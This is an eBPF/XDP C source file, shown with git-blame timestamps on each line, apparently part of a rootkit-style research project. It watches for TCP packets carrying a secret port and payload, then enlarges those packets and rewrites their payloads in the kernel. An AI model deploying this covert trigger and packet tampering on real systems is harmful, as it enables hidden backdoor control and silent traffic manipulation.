2021-12-29 14:44:09 -05:00
|
|
|
//Linux system includes
|
2022-01-06 13:31:52 -05:00
|
|
|
/*#include <unistd.h>
|
2021-11-24 10:50:30 -05:00
|
|
|
#include <stdbool.h>
|
2021-11-21 20:00:43 -05:00
|
|
|
#include <linux/tcp.h>
|
|
|
|
|
#include <linux/udp.h>
|
2021-11-24 10:50:30 -05:00
|
|
|
#include <linux/ip.h>
|
|
|
|
|
#include <linux/types.h>
|
2021-11-21 20:00:43 -05:00
|
|
|
#include <linux/unistd.h>
|
|
|
|
|
#include <linux/if_ether.h>
|
|
|
|
|
#include <linux/pkt_cls.h>
|
|
|
|
|
#include <arpa/inet.h>
|
|
|
|
|
#include <net/if.h>
|
|
|
|
|
#include <arpa/inet.h>
|
|
|
|
|
#include <linux/if_ether.h>
|
|
|
|
|
#include <linux/ip.h>
|
2022-01-06 13:31:52 -05:00
|
|
|
#include <linux/udp.h>*/
|
|
|
|
|
|
|
|
|
|
|
2022-01-14 21:18:51 -05:00
|
|
|
#include "headervmlinux.h"
|
2021-11-21 20:00:43 -05:00
|
|
|
|
2021-12-29 14:44:09 -05:00
|
|
|
//BPF & libbpf dependencies
|
2021-11-24 10:50:30 -05:00
|
|
|
#include <bpf/bpf_helpers.h>
|
|
|
|
|
#include <bpf/bpf_tracing.h>
|
|
|
|
|
#include <bpf/bpf_core_read.h>
|
2022-01-06 13:31:52 -05:00
|
|
|
#include <bpf/bpf_endian.h>
|
2021-11-24 10:50:30 -05:00
|
|
|
|
2021-12-29 14:44:09 -05:00
|
|
|
//User-kernel dependencies
|
|
|
|
|
#include "../common/constants.h"
|
2021-11-24 12:17:31 -05:00
|
|
|
|
2021-12-29 14:44:09 -05:00
|
|
|
//BPF exclusive includes
|
2021-11-24 12:17:31 -05:00
|
|
|
#include "packet/packet_manager.h"
|
|
|
|
|
#include "packet/protocol/tcp_helper.h"
|
2021-11-24 20:41:07 -05:00
|
|
|
#include "xdp/xdp_helper.h"
|
2021-12-31 09:54:47 -05:00
|
|
|
#include "utils/strings.h"
|
2021-11-22 20:02:47 -05:00
|
|
|
|
2021-12-29 14:44:09 -05:00
|
|
|
//BPF modules to load
|
2021-12-31 09:54:47 -05:00
|
|
|
#include "include/bpf/sched.h"
|
2022-01-04 20:09:59 -05:00
|
|
|
#include "include/bpf/fs.h"
|
2021-11-21 20:00:43 -05:00
|
|
|
|
|
|
|
|
char LICENSE[] SEC("license") = "Dual BSD/GPL";
|
2022-01-06 13:31:52 -05:00
|
|
|
#define ETH_ALEN 6
|
2021-11-21 20:00:43 -05:00
|
|
|
|
|
|
|
|
//Ethernet frame struct
|
|
|
|
|
struct eth_hdr {
|
|
|
|
|
unsigned char h_dest[ETH_ALEN];
|
|
|
|
|
unsigned char h_source[ETH_ALEN];
|
|
|
|
|
unsigned short h_proto;
|
|
|
|
|
};
|
|
|
|
|
|
2021-11-23 19:55:44 -05:00
|
|
|
|
2021-11-22 18:58:58 -05:00
|
|
|
SEC("xdp_prog")
|
2021-12-31 09:54:47 -05:00
|
|
|
int xdp_receive(struct xdp_md *ctx){
|
2021-11-23 19:55:44 -05:00
|
|
|
//bpf_printk("BPF triggered\n");
|
2021-11-22 18:58:58 -05:00
|
|
|
|
2021-11-21 20:00:43 -05:00
|
|
|
void *data_end = (void *)(long)ctx->data_end;
|
|
|
|
|
void *data = (void *)(long)ctx->data;
|
2021-11-27 19:08:38 -05:00
|
|
|
|
2021-11-24 12:17:31 -05:00
|
|
|
unsigned int payload_size;
|
2021-11-21 20:00:43 -05:00
|
|
|
struct ethhdr *eth = data;
|
2021-11-24 12:17:31 -05:00
|
|
|
char *payload;
|
2021-11-23 19:55:44 -05:00
|
|
|
struct tcphdr *tcp;
|
2021-11-21 20:00:43 -05:00
|
|
|
struct iphdr *ip;
|
2021-11-23 19:55:44 -05:00
|
|
|
|
2021-11-24 10:50:30 -05:00
|
|
|
//Bound checking the packet before operating with it
|
|
|
|
|
//Otherwise the bpf verifier will complain
|
2021-11-23 19:55:44 -05:00
|
|
|
if(ethernet_header_bound_check(eth, data_end)<0){
|
|
|
|
|
bpf_printk("Bound check fail A");
|
2021-11-21 20:00:43 -05:00
|
|
|
return XDP_PASS;
|
2021-11-23 19:55:44 -05:00
|
|
|
}
|
2021-11-21 20:00:43 -05:00
|
|
|
|
|
|
|
|
ip = data + sizeof(*eth);
|
2021-11-24 10:50:30 -05:00
|
|
|
if (ip_header_bound_check(ip, data_end)<0){
|
2021-11-23 19:55:44 -05:00
|
|
|
bpf_printk("B");
|
|
|
|
|
return XDP_PASS;
|
|
|
|
|
}
|
2021-11-21 20:00:43 -05:00
|
|
|
|
2021-11-24 10:50:30 -05:00
|
|
|
if (get_protocol(data) != IPPROTO_TCP){
|
2022-01-15 16:16:30 -05:00
|
|
|
//bpf_printk("C");
|
2021-11-21 20:00:43 -05:00
|
|
|
return XDP_PASS;
|
2021-11-23 19:55:44 -05:00
|
|
|
}
|
2021-11-21 20:00:43 -05:00
|
|
|
|
2021-11-23 19:55:44 -05:00
|
|
|
tcp = (void *)ip + sizeof(*ip);
|
2021-11-24 10:50:30 -05:00
|
|
|
if (tcp_header_bound_check(tcp, data_end)){
|
2021-11-23 19:55:44 -05:00
|
|
|
bpf_printk("D");
|
2021-11-21 20:00:43 -05:00
|
|
|
return XDP_PASS;
|
2021-11-23 19:55:44 -05:00
|
|
|
}
|
2021-11-21 20:00:43 -05:00
|
|
|
|
2021-11-24 12:17:31 -05:00
|
|
|
if (get_tcp_dest_port(tcp) != SECRET_PACKET_DEST_PORT){
|
2022-01-06 13:31:52 -05:00
|
|
|
bpf_printk("E %i\n", bpf_ntohs(tcp->dest));
|
2021-11-21 20:00:43 -05:00
|
|
|
return XDP_PASS;
|
2021-11-23 19:55:44 -05:00
|
|
|
}
|
|
|
|
|
|
2022-01-06 13:31:52 -05:00
|
|
|
payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
2021-11-23 19:55:44 -05:00
|
|
|
payload = (void *)tcp + tcp->doff*4;
|
2021-11-21 20:00:43 -05:00
|
|
|
|
2021-11-27 19:08:38 -05:00
|
|
|
// We use "size - 1" to account for the final '\0', but depending on the program use
|
|
|
|
|
if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
|
|
|
|
|
bpf_printk("F, PS:%i, P:%i, DE:%i\n", payload_size, payload, data_end);
|
2021-11-21 20:00:43 -05:00
|
|
|
return XDP_PASS;
|
2021-11-23 19:55:44 -05:00
|
|
|
}
|
2021-11-21 20:00:43 -05:00
|
|
|
|
2021-11-24 12:17:31 -05:00
|
|
|
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
2021-11-23 19:55:44 -05:00
|
|
|
bpf_printk("G");
|
2021-11-21 20:00:43 -05:00
|
|
|
return XDP_PASS;
|
2021-11-23 19:55:44 -05:00
|
|
|
}
|
2021-11-21 20:00:43 -05:00
|
|
|
|
2021-11-23 19:55:44 -05:00
|
|
|
bpf_printk("Received valid TCP packet with payload %s of size %i\n", payload, payload_size);
|
2021-11-21 20:00:43 -05:00
|
|
|
// Compare each byte, exit if a difference is found.
|
2021-11-27 19:08:38 -05:00
|
|
|
if(str_n_compare(payload, payload_size, SECRET_PACKET_PAYLOAD, sizeof(SECRET_PACKET_PAYLOAD), payload_size)!=0){
|
2021-11-24 12:17:31 -05:00
|
|
|
bpf_printk("H");
|
|
|
|
|
return XDP_PASS;
|
|
|
|
|
}
|
2021-11-24 20:41:07 -05:00
|
|
|
int data_len_prev = data_end-data;
|
|
|
|
|
int data_len_next = -1;
|
|
|
|
|
|
2021-11-25 20:30:15 -05:00
|
|
|
bpf_printk("OLD data_end: %i, payload: %i\n", data_end, payload);
|
2021-11-27 17:01:10 -05:00
|
|
|
int more_bytes = (int)(sizeof(SUBSTITUTION_NEW_PAYLOAD) - sizeof(SECRET_PACKET_PAYLOAD));
|
|
|
|
|
struct expand_return ret = expand_tcp_packet_payload(ctx, eth, ip, tcp, more_bytes);
|
|
|
|
|
bpf_printk("Control back to main program with retcode %i after expanding %i bytes\n", ret.code, more_bytes);
|
2021-11-24 20:41:07 -05:00
|
|
|
if(ret.code == 0){
|
|
|
|
|
//We must check bounds again, otherwise the verifier gets angry
|
2021-11-25 20:30:15 -05:00
|
|
|
ctx = ret.ret_md;
|
|
|
|
|
data = (void*)(long)ret.ret_md->data;
|
|
|
|
|
data_end = (void*)(long)ret.ret_md->data_end;
|
2021-11-25 06:36:32 -05:00
|
|
|
eth = ret.eth;
|
2021-11-24 20:41:07 -05:00
|
|
|
if(ethernet_header_bound_check(eth, data_end)<0){
|
|
|
|
|
bpf_printk("Bound check A failed while expanding\n");
|
|
|
|
|
return XDP_PASS;
|
|
|
|
|
}
|
|
|
|
|
|
2021-11-25 06:36:32 -05:00
|
|
|
ip = ret.ip;
|
2021-11-24 20:41:07 -05:00
|
|
|
if (ip_header_bound_check(ip, data_end)<0){
|
|
|
|
|
bpf_printk("Bound check B failed while expanding\n");
|
|
|
|
|
return XDP_PASS;
|
|
|
|
|
}
|
|
|
|
|
|
2021-11-25 06:36:32 -05:00
|
|
|
tcp = ret.tcp;
|
2021-11-24 20:41:07 -05:00
|
|
|
/*if (get_protocol(data_end) != IPPROTO_TCP){
|
|
|
|
|
bpf_printk("Bound check C failed while expanding\n");
|
|
|
|
|
return XDP_PASS;
|
|
|
|
|
}*/
|
|
|
|
|
|
|
|
|
|
if (tcp_header_bound_check(tcp, data_end)){
|
|
|
|
|
bpf_printk("Bound check D failed while expanding\n");
|
|
|
|
|
return XDP_PASS;
|
|
|
|
|
}
|
|
|
|
|
|
2022-01-06 13:31:52 -05:00
|
|
|
payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
2021-11-24 20:41:07 -05:00
|
|
|
payload = (void *)tcp + tcp->doff*4;
|
2021-11-25 20:30:15 -05:00
|
|
|
|
|
|
|
|
//Quite a trick to avoid the verifier complaining when it's clear we are OK with the payload
|
|
|
|
|
//Line 6367 https://lxr.missinglinkelectronics.com/linux/kernel/bpf/verifier.c
|
|
|
|
|
if(payload_size < 0|| payload_size>88888){
|
2021-11-27 14:10:43 -05:00
|
|
|
bpf_printk("Unlikely you are here, but OK\n");
|
2021-11-25 20:30:15 -05:00
|
|
|
return XDP_PASS;
|
|
|
|
|
}
|
2021-11-27 14:10:43 -05:00
|
|
|
/*if(payload_size -1 < data_end - (void*)payload ){
|
2021-11-25 20:30:15 -05:00
|
|
|
return XDP_PASS;
|
2021-11-27 14:10:43 -05:00
|
|
|
}*/
|
2021-11-24 20:41:07 -05:00
|
|
|
|
2021-11-27 17:01:10 -05:00
|
|
|
//Note that sizeof(..) is returning strlen +1, but it's ok because
|
2021-11-25 20:30:15 -05:00
|
|
|
//we do not want to write at payload[6]
|
2021-11-27 17:01:10 -05:00
|
|
|
if((void*)payload + sizeof(SUBSTITUTION_NEW_PAYLOAD) -1 > data_end){
|
2021-11-24 20:41:07 -05:00
|
|
|
bpf_printk("Bound check E failed while expanding\n");
|
|
|
|
|
return XDP_PASS;
|
2021-11-25 20:30:15 -05:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
|
|
|
|
bpf_printk("Bound check F failed while expanding\n");
|
|
|
|
|
return XDP_PASS;
|
|
|
|
|
}
|
2021-11-27 17:01:10 -05:00
|
|
|
|
|
|
|
|
int pattern_size = (int)sizeof(SUBSTITUTION_NEW_PAYLOAD)-1;
|
|
|
|
|
|
|
|
|
|
//Let's empty the payload so that the previous one does not appear
|
|
|
|
|
//even if it is larger than our new one.
|
|
|
|
|
//Caution when doing this on some other place. The verifier is extremely picky on the size of this,
|
|
|
|
|
//even if we know that there are empty bytes in futher positions.
|
|
|
|
|
//Also if the substitution payload is smaller than the original one, then additional checks must be made
|
|
|
|
|
for(int ii = 0; ii<sizeof(SUBSTITUTION_NEW_PAYLOAD) - 1; ii++){
|
|
|
|
|
payload[ii] = '\0';
|
|
|
|
|
}
|
|
|
|
|
//Write our new payload
|
|
|
|
|
modify_payload(payload, payload_size, SUBSTITUTION_NEW_PAYLOAD, pattern_size, data, data_end);
|
2021-11-25 20:30:15 -05:00
|
|
|
|
2021-11-24 20:41:07 -05:00
|
|
|
bpf_printk("BPF finished with ret %i and payload %s of size %i\n ", ret.code, payload, payload_size);
|
|
|
|
|
}else{
|
|
|
|
|
bpf_printk("BPF finished with error on expansion\n");
|
|
|
|
|
}
|
|
|
|
|
data_len_next = data_end-data;
|
|
|
|
|
bpf_printk("Previous length: %i, current length: %i\n", data_len_prev, data_len_next);
|
2021-11-25 20:30:15 -05:00
|
|
|
bpf_printk("NEW data_end: %i, payload: %i\n", data_end, payload);
|
2021-11-27 14:10:43 -05:00
|
|
|
bpf_printk("And on NEW CTX data_end: %i, payload: %i\n", ctx->data_end, payload);
|
2021-11-25 20:30:15 -05:00
|
|
|
|
|
|
|
|
/*if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
|
|
|
|
bpf_printk("G");
|
|
|
|
|
return XDP_PASS;
|
|
|
|
|
}*/
|
2021-11-25 06:36:32 -05:00
|
|
|
|
2021-11-25 20:30:15 -05:00
|
|
|
//payload[1] = 'a';
|
|
|
|
|
//strncpy(payload, payload_to_write, sizeof(payload_to_write));
|
2021-11-25 06:36:32 -05:00
|
|
|
//payload[5] = '\0';
|
2021-11-24 20:41:07 -05:00
|
|
|
//payload[1] = 'b';
|
2021-11-22 18:58:58 -05:00
|
|
|
/*if(!payload){
|
2021-11-21 20:00:43 -05:00
|
|
|
bpf_probe_read_str(&rb_event->payload, sizeof(rb_event->payload), (void *)payload);
|
|
|
|
|
bpf_ringbuf_submit(rb_event, 0);
|
|
|
|
|
}else{
|
|
|
|
|
//Submit it to user-space for post-processing
|
|
|
|
|
bpf_probe_read_str(&rb_event->payload, sizeof(rb_event->payload), (void*)0);
|
|
|
|
|
bpf_ringbuf_submit(rb_event, 0);
|
|
|
|
|
}*/
|
|
|
|
|
|
2021-11-23 19:55:44 -05:00
|
|
|
// Same payload as secret one reeceived, pass it with modifications.
|
|
|
|
|
return XDP_PASS;
|
2021-11-21 20:00:43 -05:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
2021-11-24 10:50:30 -05:00
|
|
|
|